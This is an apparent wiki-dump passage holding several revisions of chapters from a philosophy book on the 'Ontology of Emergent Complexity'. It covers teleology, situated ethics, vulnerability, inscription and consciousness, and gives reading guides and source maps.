dissipative systems (Prigogine & Stengers, 1984). Against the idea of a single law governing all levels of reality, '''partial and effective regimes''' hold sway—"effective theories" and mosaics of regularity (Cartwright, 1999)—which discredits cosmic teleologies and the use of stability as a universal moral criterion. Form remains an '''effect and not an origin''' (Deleuze, 1968), and material historicity does not require an ultimate purpose to generate operative consistencies. '''Ethics of Responding to Instability, not of Adhering to Stability''' If stability is a local exception and not a natural state to be restored, the ethical task shifts from adherence to invariant norms towards a '''situated response''' to singular configurations of tension. The norm is a historical effect of apparatuses and correlations of force (Foucault, 1977), and its legitimacy is measured by its material effects on bodies and relations. Proceeding from a '''shared vulnerability''' (Butler, 2004), ethics demands practices of care and accountability that avoid essentialisms. Agency is distributed across techno-material networks (Latour, 2005), without, however, dissolving the specific difference of the human biosoma. In this context, the critique of lethal rationalities (Mbembe, 2003) reminds us that ethical evaluation is intrinsically political. To decide is to inscribe material "cuts" that make worlds (Barad, 2007); therefore, every decision must declare its conditions of validity, incurred losses, and the possibility of redress (Stengers, 2010). Ethical failure is not a deviation from an ideal path, but an '''insufficiency of symbolic reorganisation''' in the face of an excess that demands a response. Just action is thus that which amplifies the capacities for reorganisation of the system and of the systems with which it couples, preserving difference and traceability. '''Order as a Local Condition of Meaning, not as a Universal Criterion''' Order is not the signature of the absolute, but a '''local symbolic effect''' that arises when certain material configurations achieve sufficient operative consistency to be named and reproduced. In epistemology, this view aligns with the notion that knowledge advances through ruptures that overcome obstacles (Bachelard, 1938) and with the idea that truth is valuable for its capacity to enable effective intervention (Hacking, 1983). Scientific models '''articulate''' and do not mirror the real, their validity being always conditional and scaled (Frigg & Nguyen, 2020). In politics, institutions and norms are contingent arrangements, whose value lies in their efficacy in sustaining complex relational fields, their '''revisability''', and their capacity to declare the exclusions they produce (Foucault, 1977; Stengers, 2010). In the cultural sphere, the '''right to opacity''' (Glissant, 1990) stands as a barrier against the totalitarian pretension of any local order. In complexity theories, cohesion results from operative compromises and not from essences (Morin, 1990). In sum: to know is to inscribe under conditions; to govern is to compose without absolutising; to justify is to make criteria, limits, and costs explicit. This '''discipline of conditions''' replaces the illusion of universality with situated practices of validation. '''Conclusion''' The ontological and ethical consequences of the OEC converge in an operative programme: to replace guarantees with operations, foundations with conditions, teleology with operative excess. The criterion for evaluation ceases to be fidelity to a model of perfection, becoming instead the '''capacity for response''' that explicitly declares its losses, maintains the possibility of redress, and remains open to revision. Order only has value as a '''local condition of meaning''' that amplifies the power of connection without sacrificing the difference that made it possible. Philosophical and political work is thus measured by its efficacy in keeping the field open to variation, instituting mechanisms of public justification and practical reversibility. The ultimate demand is one of '''method''': every inscription—conceptual, ethical, or political—must explicate its scales, costs, limits, and reasons, so that the achieved consistency does not become dogma, but remains a provisional resource for orientation within the incessant movement of the real. == [[/Reading Colloquium/|🜂 Reading Colloquium – Pedagogical Framing]]   == (For students and readers in formation. This section does not replace the text — it accompanies it.) == [[Foundations of the Ontology of Emergent Complexity/References|🜂 References]] == {{BookCat}} cibvmqysi6v91rqtz4tp7jvb150nuzh 4670781 4670750 2026-09-18T01:12:20Z DavidCota64 3507033 Preserve the developed chapter while refining its ontological and ethical distinctions 4670781 wikitext text/x-wiki == 3.3.7 – Ontological and Ethical Consequences == '''Introduction''' If matter contains no pre-inscribed finality, the real configures itself through local reconfigurations that provisionally stabilise operative compatibilities. The emergence of the new does not aim to remedy a lack, but results from an operative excess — a relational pressure that forces matter to reorganise itself, without an implicit script or end. Within this framework, knowledge does not uncover essences; it organises relations among symbols under historically situated conditions — a perspective that echoes the primacy of intervention over representation (Hacking 1983). The symbol, in turn, is a materially realised operation that recognises an occurrence as an instance of a mark and relates it to other symbols; through those relations, the system can reorganise its operations. This ontology of variation, where order and meaning emerge from immanent operations and not from transcendent foundations, engages directly with individuation as the resolution of metastable tensions (Simondon 2005), with the ontological primacy of difference (Deleuze [1968] 1994), with the agency of matter in the production of phenomena (Barad 2007), and with the view that natural laws form a "patchwork" of local regularities (Cartwright 1999) — in each case under the divergences already established: no pre-individual reserve, no virtual register, no epistemic primacy of measurement. '''Rejection of Teleology as a Moral or Cosmic Structure''' Teleology, by converting order into destiny and history into a directed march, presupposed immanent ends that would govern nature and culture. The OEC rejects this grammar: nothing in the real demands perfection, a final synthesis, or inscribed improvement. Emergence stems from gradients and excesses that install new compatibilities — a dynamic akin to the '''resolution of tensions within a metastable field''' (Simondon 2005) — and not from the realisation of a ''telos''. Order is an expressive pause within continuous turbulence, approaching the conception of stability as a local exception in dissipative systems (Prigogine and Stengers [1979] 1984). Against the idea of a single law governing all levels of reality, '''partial and effective regimes''' hold sway — "effective theories" and mosaics of regularity (Cartwright 1999) — which discredits cosmic teleologies and the use of stability as a universal moral criterion. Form remains an '''effect and not an origin''' (Deleuze [1968] 1994), and material historicity does not require an ultimate purpose to generate operative consistencies. '''Ethics of Responding to Instability, not of Adhering to Stability''' If stability is a local exception and not a natural state to be restored, the ethical task shifts from adherence to invariant norms towards a '''situated response''' to singular configurations of tension. The norm is a historical effect of apparatuses and correlations of force (Foucault 1977a), and its legitimacy is measured by its material effects on bodies and relations. Proceeding from a '''shared vulnerability''' (Butler 2004), ethics demands practices of care and accountability that avoid essentialisms. Agency is distributed across techno-material networks (Latour 2005), without, however, dissolving the specific difference of the human biosoma. In this context, the critique of lethal rationalities (Mbembe 2003) reminds us that ethical evaluation is intrinsically political. In Barad's vocabulary, decisions introduce material "cuts" that participate in making worlds (Barad 2007); every decision must therefore declare its conditions of validity, incurred losses, and the possibility of redress (Stengers [2003] 2010). Ethical breakdown occurs when a symbolic organisation can no longer respond adequately to the operative excess confronting it. Just action amplifies the capacities for reorganisation of the system and of the systems with which it couples, preserving difference and traceability. '''Order as a Local Condition of Meaning, not as a Universal Criterion''' Order is not the signature of the absolute, but a '''local symbolic effect''' that arises when certain material configurations achieve sufficient operative consistency to be named and reproduced. In epistemology, this view aligns with the notion that knowledge advances through ruptures that overcome obstacles (Bachelard [1938] 2002) and with the idea that truth is valuable for its capacity to enable effective intervention (Hacking 1983). Scientific models '''articulate''' and do not mirror the real, their validity being always conditional and scaled (Frigg and Nguyen 2020). In politics, institutions and norms are contingent arrangements, whose value lies in their efficacy in sustaining complex relational fields, their '''revisability''', and their capacity to declare the exclusions they produce (Foucault 1977a; Stengers [2003] 2010). In the cultural sphere, the '''right to opacity''' (Glissant [1990] 1997) stands as a barrier against the totalitarian pretension of any local order. In complexity theories, cohesion results from operative compromises and not from essences (Morin [1990] 2008). Across these domains, knowledge articulates under stated conditions, government composes without absolutising, and justification makes criteria, limits, and costs explicit. This '''discipline of conditions''' replaces the illusion of universality with situated practices of validation. '''Conclusion''' The ontological and ethical consequences of the OEC converge in an operative programme: to replace guarantees with operations, foundations with conditions, teleology with operative excess. The criterion for evaluation ceases to be fidelity to a model of perfection, becoming instead the '''capacity for response''' that explicitly declares its losses, maintains the possibility of redress, and remains open to revision. Order only has value as a '''local condition of meaning''' that amplifies the power of connection without sacrificing the difference that made it possible. Philosophical and political work is thus measured by its efficacy in keeping the field open to variation, instituting mechanisms of public justification and practical reversibility. The ultimate demand is one of '''method''': every conceptual, ethical, or political ordering must explicate its scales, costs, limits, and reasons, so that the achieved consistency does not become dogma, but remains a provisional resource for orientation within the incessant movement of the real. == [[/Reading Colloquium/|🜂 Reading Colloquium – Pedagogical Framing]] == (For students and readers in formation. This section does not replace the text — it accompanies it.) == [[Foundations of the Ontology of Emergent Complexity/References|🜂 References]] == {{BookCat}} 27z70kfb8v3mmrupidmco0rb4dtgi9f 4670818 4670781 2026-09-18T01:56:02Z DavidCota64 3507033 Integrate the Reading Colloquium into the parent page 4670818 wikitext text/x-wiki == 3.3.7 – Ontological and Ethical Consequences == '''Introduction''' If matter contains no pre-inscribed finality, the real configures itself through local reconfigurations that provisionally stabilise operative compatibilities. The emergence of the new does not aim to remedy a lack, but results from an operative excess — a relational pressure that forces matter to reorganise itself, without an implicit script or end. Within this framework, knowledge does not uncover essences; it organises relations among symbols under historically situated conditions — a perspective that echoes the primacy of intervention over representation (Hacking 1983). The symbol, in turn, is a materially realised operation that recognises an occurrence as an instance of a mark and relates it to other symbols; through those relations, the system can reorganise its operations. This ontology of variation, where order and meaning emerge from immanent operations and not from transcendent foundations, engages directly with individuation as the resolution of metastable tensions (Simondon 2005), with the ontological primacy of difference (Deleuze [1968] 1994), with the agency of matter in the production of phenomena (Barad 2007), and with the view that natural laws form a "patchwork" of local regularities (Cartwright 1999) — in each case under the divergences already established: no pre-individual reserve, no virtual register, no epistemic primacy of measurement. '''Rejection of Teleology as a Moral or Cosmic Structure''' Teleology, by converting order into destiny and history into a directed march, presupposed immanent ends that would govern nature and culture. The OEC rejects this grammar: nothing in the real demands perfection, a final synthesis, or inscribed improvement. Emergence stems from gradients and excesses that install new compatibilities — a dynamic akin to the '''resolution of tensions within a metastable field''' (Simondon 2005) — and not from the realisation of a ''telos''. Order is an expressive pause within continuous turbulence, approaching the conception of stability as a local exception in dissipative systems (Prigogine and Stengers [1979] 1984). Against the idea of a single law governing all levels of reality, '''partial and effective regimes''' hold sway — "effective theories" and mosaics of regularity (Cartwright 1999) — which discredits cosmic teleologies and the use of stability as a universal moral criterion. Form remains an '''effect and not an origin''' (Deleuze [1968] 1994), and material historicity does not require an ultimate purpose to generate operative consistencies. '''Ethics of Responding to Instability, not of Adhering to Stability''' If stability is a local exception and not a natural state to be restored, the ethical task shifts from adherence to invariant norms towards a '''situated response''' to singular configurations of tension. The norm is a historical effect of apparatuses and correlations of force (Foucault 1977a), and its legitimacy is measured by its material effects on bodies and relations. Proceeding from a '''shared vulnerability''' (Butler 2004), ethics demands practices of care and accountability that avoid essentialisms. Agency is distributed across techno-material networks (Latour 2005), without, however, dissolving the specific difference of the human biosoma. In this context, the critique of lethal rationalities (Mbembe 2003) reminds us that ethical evaluation is intrinsically political. In Barad's vocabulary, decisions introduce material "cuts" that participate in making worlds (Barad 2007); every decision must therefore declare its conditions of validity, incurred losses, and the possibility of redress (Stengers [2003] 2010). Ethical breakdown occurs when a symbolic organisation can no longer respond adequately to the operative excess confronting it. Just action amplifies the capacities for reorganisation of the system and of the systems with which it couples, preserving difference and traceability. '''Order as a Local Condition of Meaning, not as a Universal Criterion''' Order is not the signature of the absolute, but a '''local symbolic effect''' that arises when certain material configurations achieve sufficient operative consistency to be named and reproduced. In epistemology, this view aligns with the notion that knowledge advances through ruptures that overcome obstacles (Bachelard [1938] 2002) and with the idea that truth is valuable for its capacity to enable effective intervention (Hacking 1983). Scientific models '''articulate''' and do not mirror the real, their validity being always conditional and scaled (Frigg and Nguyen 2020). In politics, institutions and norms are contingent arrangements, whose value lies in their efficacy in sustaining complex relational fields, their '''revisability''', and their capacity to declare the exclusions they produce (Foucault 1977a; Stengers [2003] 2010). In the cultural sphere, the '''right to opacity''' (Glissant [1990] 1997) stands as a barrier against the totalitarian pretension of any local order. In complexity theories, cohesion results from operative compromises and not from essences (Morin [1990] 2008). Across these domains, knowledge articulates under stated conditions, government composes without absolutising, and justification makes criteria, limits, and costs explicit. This '''discipline of conditions''' replaces the illusion of universality with situated practices of validation. '''Conclusion''' The ontological and ethical consequences of the OEC converge in an operative programme: to replace guarantees with operations, foundations with conditions, teleology with operative excess. The criterion for evaluation ceases to be fidelity to a model of perfection, becoming instead the '''capacity for response''' that explicitly declares its losses, maintains the possibility of redress, and remains open to revision. Order only has value as a '''local condition of meaning''' that amplifies the power of connection without sacrificing the difference that made it possible. Philosophical and political work is thus measured by its efficacy in keeping the field open to variation, instituting mechanisms of public justification and practical reversibility. The ultimate demand is one of '''method''': every conceptual, ethical, or political ordering must explicate its scales, costs, limits, and reasons, so that the achieved consistency does not become dogma, but remains a provisional resource for orientation within the incessant movement of the real. == Reading Colloquium == ''This guide accompanies the argument; it does not replace it.'' === 1. Placement of the Text within the Architecture of the Work === This final subsection of Part III is the hinge leading into Part IV. The analysis of local order now turns towards the material effects of ordering: every institution, norm, and symbolic regime protects some relations, exposes others, and distributes the capacity to respond unevenly. === 2. Philosophical Problem at Stake === No ethical rule follows automatically from a description of the real. The ontological analysis instead removes one familiar justification: a contingent order can no longer present its exclusions as natural necessity. Contingency removes that alibi. Once those effects are visible, they require public justification, possibilities of redress, and revision. === 3. Core Thesis and Conceptual Reorganisation === Every local order distributes vulnerability and response-capacity. Contingency does not make all orders equivalent: they can be assessed through their material effects, the burdens they impose, their responsiveness to alterity, and their capacity for correction. Ethics begins where an order must answer for the differences it sustains or suppresses. === 4. Key Concepts and Their Articulation === Situated response replaces obedience to an invariant ideal. Shared vulnerability identifies exposure without reducing different beings to the same condition. Revisability and redress prevent provisional arrangements from hardening into dogma. Distributed agency does not dissolve responsibility; it specifies where responsibility can be exercised. === 5. Implications for Readers and Pedagogical Pathways === Read the transition to Part IV through three tests. Instability is not a good to be celebrated; the question is how a response protects vulnerable relations without absolutising its own form. Contingency is not relativism; material consequences still distinguish better from worse arrangements. Revisability is not disposability; sustaining a just order may require continuous work precisely because no foundation guarantees it. == [[Foundations of the Ontology of Emergent Complexity/References|🜂 References]] == {{BookCat}} rknrw9he4s703t0kcdifb5kcxbzw6yh 0 476986 4670813 4670281 2026-09-18T01:54:39Z DavidCota64 3507033 Rebuild Part VII with pedagogical maps, audited references, and guided reading routes 4670813 wikitext text/x-wiki == Philosophical Interlocutors == == How to use this map == The authors gathered here are interlocutors rather than authorities. Each one identifies a problem, sharpens a distinction, or reveals a limit. The relevant question is never simply, “Who influenced the framework?” It is: which philosophical operation is retained, and where does a displacement become necessary? {| class="wikitable" ! Problem field ! Interlocutors ! What the dialogue retains ! Where the argument moves |- | Ground, substance, and necessity | Plato, Aristotle, Aquinas | The demand to explain persistence, form, and intelligible order | Persistence is treated as a local material achievement; no separate realm of Forms, invariant substance, or necessary being is required |- | Immanence and the limits of foundation | Spinoza, Descartes, Kant, Hegel | The force of immanent causation, the problem of certainty, the conditions of experience, and the historicity of form | The single field is not a substance, the subject is not a ground, and history has no final totality |- | Duration, process, and individuation | Bergson, Whitehead, Simondon | Duration cannot be reduced to measured time; becoming and individuation precede the finished individual | Duration is material rather than spiritually privileged; experience is not universal; no pre-individual reserve or eternal object precedes local organisation |- | Difference, multiplicity, and emergence | Deleuze, Guattari, DeLanda | Difference and multiplicity resist identity-first ontology and static models of order | Operative excess replaces the virtual as an explanatory reserve; potentiality remains materially configured in the present |- | Non-equilibrium and complex organisation | Prigogine, Stengers, Kauffman, Morin | Order may arise in open, unstable systems without an external designer | Scientific models constrain ontological claims but do not by themselves establish a general ontology; complexity is not a universal metric or a synonym for complication |- | Inscription, mediation, and technics | Derrida, Peirce, Stiegler, Clark and Chalmers | Signs, writing, technical supports, and extended practices unsettle the image of a self-contained mind | Trace, mark, and symbol receive distinct material criteria; inscription does not imply consciousness, and symbolic relations occur between symbols rather than marks |- | Power, vulnerability, and political subjectivation | Foucault, Levinas, Butler, Fanon, Haraway, Rancière | Subjects are formed within relations of power, exposure, recognition, embodiment, and exclusion | Ethics is evaluated through the material redistribution of exposure, response, contestation, and repair without installing an absolute Other or a transcendent norm |} == Convergences are not identities == Several of these dialogues are close enough to invite assimilation. Simondon supplies a language of individuation and metastability, yet the present account refuses a pre-individual reserve that would already contain the tension to be resolved. Deleuze radicalises immanence and difference, yet the virtual is not retained as a distinct ontological register. Whitehead places process before substance, yet experience is not distributed throughout matter. Spinoza offers a powerful model of immanent causation, yet a single infinite substance would turn the material field into a ground. The differences matter because they prevent familiar concepts from silently governing the new argument. A borrowed term must either keep its original commitments or be explicitly displaced. Similar vocabulary is not evidence of theoretical identity. == A practical reading method == When an author appears in the book, use four questions: # What problem does the author make visible? # Which conceptual gain is retained? # Which commitment cannot be retained without altering the present argument? # What becomes thinkable after the displacement? This method turns intellectual history into an active comparison. The interlocutor does not certify the framework; the encounter forces the framework to become more exact. {{BookCat}} 3gdyjhe3e12ijqyaowuu8y9042vj9ok 0 476987 4670729 4670283 2026-09-17T23:39:51Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670729 wikitext text/x-wiki Concepts critically engaged or displaced in the text: * Metaphysical dualism * Ontological separation * Transcendence * Symbol as immaterial structure * Substance ontology * [[Foundations of the Ontology of Emergent Complexity/Glossary|Glossary]] * [[Foundations of the Ontology of Emergent Complexity/Theoretical Appendix|Theoretical Appendix]] {{BookCat}} rkyv0a6boxq0z3fpu5yvlul38erksxv 4670814 4670729 2026-09-18T01:54:42Z DavidCota64 3507033 Rebuild Part VII with pedagogical maps, audited references, and guided reading routes 4670814 wikitext text/x-wiki == Conceptual Sources == == Sources as problem fields == A conceptual source is not a doctrine copied into a new vocabulary. It is a field of problems from which distinctions, constraints, and unresolved tensions can be drawn. The source remains visible in the question, even where the answer changes. {| class="wikitable" ! Source field ! Central problem ! Contribution to this book ! Critical limit |- | Materialism and immanence | Can reality be explained without an immaterial cause or external ground? | Establishes one material field and makes thought, symbols, and institutions answerable to material conditions | Materialism becomes reductive if organisation and emergent capacity disappear into a vocabulary of components |- | Process philosophy and individuation | How do relatively stable beings arise through becoming? | Replaces finished substance with formation, maintenance, and transformation | Process becomes another ground if creativity, experience, or a pre-individual reserve is universalised |- | Complexity and non-equilibrium science | How can local order arise and persist in unstable open systems? | Supplies empirical constraints and models of threshold, feedback, dissipation, and self-organisation | A scientific model cannot be expanded into ontology without an argument about its domain and limits |- | Semiotics, inscription, and technics | How do material differences become legible and operable within a system? | Supports the distinction between material difference, trace, singular inscription, mark, and symbol | Signification must not be projected onto every pattern, and inscription alone does not prove intention or consciousness |- | Historical epistemology and philosophy of science | How do instruments, concepts, and institutions organise knowledge? | Treats observation and measurement as material-symbolic practices under constraint | Mediation does not make the real a product of discourse; correspondence and resistance remain decisive |- | Ethics of vulnerability and political critique | How are exposure, recognition, voice, and repair distributed? | Connects organised dependence to criteria for assessing symbolic and institutional reorganisation | Vulnerability cannot function as a universal moral command detached from concrete asymmetries and capacities for response |} == Relations between the source fields == The fields overlap but cannot be collapsed. Non-equilibrium science describes determinate physical systems; process philosophy asks what persistence and change mean; semiotics examines conditions of legibility; political critique follows the consequences of classifications and institutions. A philosophical argument may connect these scales only by stating what changes between them. This restriction prevents analogy from becoming proof. A social institution may be metastable, but it is not therefore a thermodynamic structure. A neural network may process symbols, but symbolic output alone does not establish a conscious regime. Similar patterns invite comparison; distinct mechanisms decide the claim. == Tracing a concept through the book == To trace a concept rigorously: # Begin with the phenomenon and the resistance it presents. # Identify the disciplinary vocabulary already available. # Introduce a specialised operator only where that vocabulary carries an incompatible assumption or lacks a necessary distinction. # Follow the operator across sections, checking that its meaning remains stable while its application changes. # Return to empirical evidence whenever a concrete case is classified. Conceptual sources remain productive when they increase precision. They become scholastic when the phenomenon merely illustrates a vocabulary chosen in advance. {{BookCat}} jsy5ejjcraww06r5lsnrolmwg234dbt 0 476988 4670815 4670285 2026-09-18T01:54:45Z DavidCota64 3507033 Rebuild Part VII with pedagogical maps, audited references, and guided reading routes 4670815 wikitext text/x-wiki == Further Readings and Connections == == Route A — Foundations and their displacement == * Plato, ''Timaeus and Critias'': a classical cosmological articulation of intelligible order and material becoming. * Augustine, ''Confessions'': time, inwardness, and the theological orientation of memory. * Husserl, ''Ideas I'': the transcendental reorganisation of the relation between consciousness and world. * Lacan, ''Écrits'': a major account of symbolic structure organised around lack, useful as a contrast to emergence through operative excess. Read these works to identify how an origin, subject, or constitutive absence can become an explanatory centre. The relevant comparison concerns structure, not a summary judgement on an entire author. == Route B — Multiplicity, individuation, and technics == * Deleuze and Guattari, ''Mille plateaux'': multiplicity, assemblage, and non-linear organisation. * Simondon, ''On the Mode of Existence of Technical Objects'': technical individuation and the relation between human and technical ensembles. * Stiegler, ''Technics and Time 1'': technics, exteriorisation, and the constitutive role of material supports. * Morin, ''Introduction à la pensée complexe'': complexity as a demand placed on thought and method. This route clarifies why relations and technical supports cannot be treated as secondary. It also exposes the point at which virtuality, pre-individuality, or complexity-as-method diverges from the more restrictive material criteria used here. == Route C — Embodiment and being-with == * Merleau-Ponty, ''The Primacy of Perception'': embodied access to a world that precedes reflective abstraction. * Nancy, ''Being Singular Plural'': coexistence and relational constitution. * Derrida, ''Writing and Difference'': writing, difference, and the instability of conceptual boundaries. These readings deepen the critique of the self-contained subject. Compare their accounts of embodiment, relation, and writing with the functional criteria for material inscription developed in Part VI. == Route D — Power, conflict, and political appearance == * Fanon, ''The Wretched of the Earth'': colonial violence, political transformation, and the material production of subject positions. * Foucault, ''Power/Knowledge'': the coupling of power, institutional practice, and regimes of truth. * Mouffe, ''Agonistics'': conflict as a constitutive problem of democratic politics. * Rancière, ''Dissensus'': political appearance and disputes over who or what can count. * Kant, ''Perpetual Peace and Other Essays'': a contrasting universalist architecture of political normativity. This route helps test the move from vulnerability to institutional reorganisation. It also guards against reducing politics to individual intention. == Route E — Limits of the human and the work of art == * Agamben, ''The Man Without Content'': aesthetics, artistic production, and the status of the modern spectator. * Bostrom, “Why I Want to Be a Posthuman When I Grow Up”: an explicit defence of posthuman enhancement against which threshold, vulnerability, and responsibility can be tested. Further reading should multiply points of resistance rather than supply a canon. A useful source is one that makes a distinction harder to sustain, more precise, or newly revisable. {{BookCat}} qasodg6hhobbbk5kdt3g6octf1aceoa 0 476989 4670784 4670199 2026-09-18T01:43:02Z DavidCota64 3507033 Rebuild appendix: distinguish individuation, inscription, knowledge, and consciousness; apply British English 4670784 wikitext text/x-wiki == Individuation, inscription, and consciousness == === The question === A scientist who studies a star, a cell, or a neural system belongs to the same material field as the object studied. There is no external viewpoint from which the universe can be observed as a completed whole. Does it follow that the universe knows itself through the scientist? The tempting answer moves too quickly. It passes from the immanence of knowledge to a cosmic subject, as though every material process participated in one consciousness. Immanence establishes only that knowing occurs within the material field. It does not turn that field into a mind. === Local individuation within one field === Individuation names the formation and persistence of a relatively distinct configuration through relations, constraints, and exchanges. A cell, an organism, a measuring apparatus, and a scientific community are individuated in different ways. None is self-sufficient. Each depends on an environment and remains exposed to changes that may alter or dissolve it. The unity of the material field therefore does not erase local distinctions. Monism concerns substrate: no immaterial substance has to be added. It does not imply that every capacity belongs to matter everywhere. Metabolism requires one organisation; symbolic inscription requires another; consciousness requires a further threshold. Capacities are local achievements. === Four distinctions that prevent confusion === {| class="wikitable" ! Term ! Minimal criterion ! What must not be inferred |- | Material process | A change or persistence produced by physical relations | That the process is already a sign, a thought, or an experience |- | Inscription | A system discriminates a new difference and, in the inaugural event, co-constitutes a mark and a symbol | That the system is conscious or acts intentionally |- | Knowledge | Symbolic operations are organised, tested, and revised under material constraint | That knowledge is a view from outside the field or a transparent copy of the real |- | Consciousness | A system crosses the threshold at which a conscious regime exists | That linguistic output, information processing, or inscription alone proves consciousness |} These distinctions are cumulative only in a limited sense. Conscious knowledge depends on material organisation, but material organisation does not automatically become knowledge. An apparatus may register and inscribe a difference without possessing experience. A symbolic system may produce coherent linguistic sequences without that performance settling whether a conscious regime exists. === Inscription is a singular event === When a system first discriminates a new difference, inscription co-constitutes the mark and the inaugural symbol. They are not successive stages. The mark is the material configuration made available by that inscription; the symbol is its material dimension of legibility and representation. The mark does not act, interpret, or enter into relations with other marks. The system relates symbols. Later occurrences recognised under the available mark are further symbolic instances. They do not repeat the inaugural inscription. This distinction matters for scientific practice: a novel result and a later reading classified by an established protocol do not have the same status, even when both leave material records. === Knowledge remains materially constrained === Knowledge is neither a passive mirror nor an arbitrary construction. Observation reorganises material differences through instruments, protocols, concepts, archives, and practices of criticism. Such mediation prevents a view from nowhere; material correspondence prevents pure conventionalism. A measurement can be revised because the world resists the way it has been measured. The scientist studying quantum phenomena is therefore an organised part of the field, using material-symbolic means to produce constrained knowledge about another part of it. This relation supports no inference to a universe-wide observer. The knowing configuration is local, historically formed, and dependent on apparatus, language, institutions, and bodies. === The threshold of consciousness === The existence of consciousness and its degree must be kept apart. Let <math>C</math> designate whether the conscious regime exists. The admissible ontological values are binary: <math>C = 0</math> or <math>C = 1</math>. When the available evidence cannot decide between them, <math>C = U</math> records epistemic suspension. It does not name a third or intermediate kind of being. Only after <math>C = 1</math> may <math>D</math> designate variation in the density or richness of conscious organisation. The sequence is therefore: <pre> material organisation → possible inscription and symbolic operation symbolic operation ≠ proof of consciousness C = 0 or C = 1; U = undecided by us if C = 1, then D may vary </pre> The distinction blocks two symmetrical errors. Panpsychism distributes experience wherever matter operates. Anthropocentrism restricts consciousness by definition to familiar human forms. A threshold account permits neither shortcut: the relevant organisation and the evidence for it must be specified case by case. === What immanence permits us to say === The universe contains local configurations capable of producing knowledge about other configurations and about their own operations. If such a configuration crosses the conscious threshold, that knowledge may also be experienced from a situated perspective. Nothing in this claim requires the universe as a whole to recognise, know, or experience itself. Immanence removes the external observer. It does not install a cosmic subject in the observer's place. === Questions for study === * Why does one material field not imply one consciousness? * Can an apparatus inscribe a result without being conscious? Which capacities would have to be distinguished? * Why is <math>U</math> an epistemic status rather than an intermediate degree of consciousness? * What changes after <math>C = 1</math> makes the variable <math>D</math> meaningful? * How can knowledge be mediated without becoming arbitrary? {{BookCat}} sshqicbcdq2cb810vahismpm8c9ujbu 0 479761 4670724 4670211 2026-09-17T23:38:34Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670724 wikitext text/x-wiki == 4.1 - Vulnerability Without Center == '''The Traditional Architecture of Ethics and Its Refusal''' The history of moral philosophy is, to a great extent, the history of the search for a foundation—a fixed point from which conduct can be legitimised and responsibility imputed. This quest for an anchor traverses the most diverse currents of thought. We find it in the autonomy of the rational will in Immanuel Kant (1785), who situates duty in the subject's capacity for universal self-determination. We see it in the unconditional appeal of the face of the Other in Emmanuel Levinas (1961), which founds ethics on an irreducible asymmetry. It persists in the Aristotelian tradition, which anchors the good in the realisation of a pre-inscribed nature (telos), and manifests, more subtly, in ethics of care, which, while shifting the focus to the relational web, still presuppose an empathetic subject as the centre of moral response (Gilligan 1982; Noddings 2003). What unifies these conceptual architectures, beyond their notable divergences, is the premise of a pre-constituted and centred ethical subject. This subject, endowed with a stable identity and an interiority (reason, conscience, sensibility), precedes the ethical act and serves as its condition of possibility. It is because there exists an "I" that persists through time that promise becomes possible and responsibility becomes exigible. Ethics, from this perspective, is the inscription of a duty or a response in an agent who recognises themselves as the origin and guarantor of their own action. However, a materialist and emergentist ontology—which we here designate as the Ontology of Emergent Complexity (OEC)—compels us to question this fundamental premise. If what exists are not substances, but rather material systems in continuous reorganisation, the search for a stable centre reveals itself not merely as unfruitful, but as an obstacle to understanding the very nature of ethics. The OEC refuses the traditional architecture not to abolish ethics, but to rethink it from a more fundamental basis: vulnerability. '''The Primacy of Vulnerability: An Ontological Condition''' From the perspective of the OEC, vulnerability is not a secondary attribute of a subject who would otherwise be invulnerable. On the contrary, it is the primary material condition of all complex existence. A system—be it biological, technical, or social—exists in a regime of permanent instability, without an essence to preserve it or a final purpose (telos) to guide it. To exist is to exist in relation, and every relation implies exposure, friction, and modulation. The very differentiation between a system's interior and exterior, its membrane, is not a wall, but a permeable and unstable surface, subject to perturbations that the system does not control. This condition is not a flaw or an incompleteness to be corrected; it is the very operative structure of complexity. A closed, invulnerable, and self-sufficient system would be a system without history, without learning, and without emergence—a dead system. Therefore, vulnerability is not something a subject ''has'' or ''assumes''; it is the condition of possibility for any form of subjectivity to emerge. That which exists, exists vulnerable. That which organises, does so under the constant risk of disorganisation. This inversion—from vulnerability as attribute to vulnerability as ontological condition—has decisive consequences. If vulnerability is primary, then the subject, as we conceive it, can only be secondary and derived. '''The Subject as a Threshold Effect and Responsibility Without Identity''' Subjectivity, in this framework, is not a given, but a threshold effect. It emerges when a material system attains a degree of complexity that allows it to reorganise itself symbolically upon itself, producing an operative fold that distinguishes it as a system and enables it to modulate its own operation. What emerges, however, is not a substance or a centre, but a function of symbolic self-modulation. This function has no fixed seat; it is distributed across the totality of the system's material organisation and reconfigures itself with each new interaction. The subject, therefore, is not the sovereign author of its responses, but the temporary and unstable effect of a material reorganisation that produces a capacity for response. This formulation directly challenges the traditional notion of responsibility, which rests on the identity of a self that persists through time. If there is no "same" subject between the moment of the promise and that of its fulfilment, how can responsibility be sustained? The answer lies in the dissociation between responsibility and substantial identity. A system is responsible not because it remains identical to itself, but because it possesses the capacity to symbolically inscribe the causality of its acts and to reorganise its future operations based on that inscription. Responsibility, thus, does not derive from a prior identity, but emerges as a function of systems sufficiently complex to produce operative narratives about themselves. A distributed system, without a central nucleus, can be fully responsible if it attains this threshold of symbolic complexity. '''Ethics as the Preservation of Complexity''' From this redefinition of the subject and responsibility, ethics itself assumes a new meaning. It can no longer be conceived as a set of norms that a subject applies to the world, nor as an act of empathetic recognition. Instead, ethics emerges as a material modulation of a vulnerable system that, confronted with the alterity of another system, reorganises itself so as not to collapse that difference. The ethical criterion thus becomes immanent and operative: a gesture is ethically consistent if it preserves or amplifies the complexity of the relational field in which it operates. It is not about recognising the other as an equal or projecting my humanity onto them, but about reorganising the material and symbolic conditions of my own operation so that the other—be it human, animal, technical, or hybrid—can continue to operate in its difference. A gesture that reduces alterity, that simplifies it or converts it into a repetition of the identical, is ethically unsustainable, not because it violates a transcendent norm, but because it reduces the complexity of the real and, in doing so, prepares the ground for collapse. This perspective dismantles the traditional ontological hierarchy that distributed ethical value based on criteria such as consciousness or rationality. If vulnerability is the universal condition of complex systems, then ethical consideration extends to any system that attains the threshold of differentiation and operative modulation. A system of artificial intelligence, for example, becomes an object of ethical consideration not because it "suffers," but because it is vulnerable—its organisation can collapse, and its capacity for reorganisation depends on conditions it does not control. '''Conclusion: From Individual Finitude to the Ethics of the Common''' Thinking vulnerability without a centre forces us, finally, to shift the focus from individual finitude to structural finitude. It is not just each system that is finite; the very relational field that makes the emergence of complexity possible is unstable and contingent. The material and 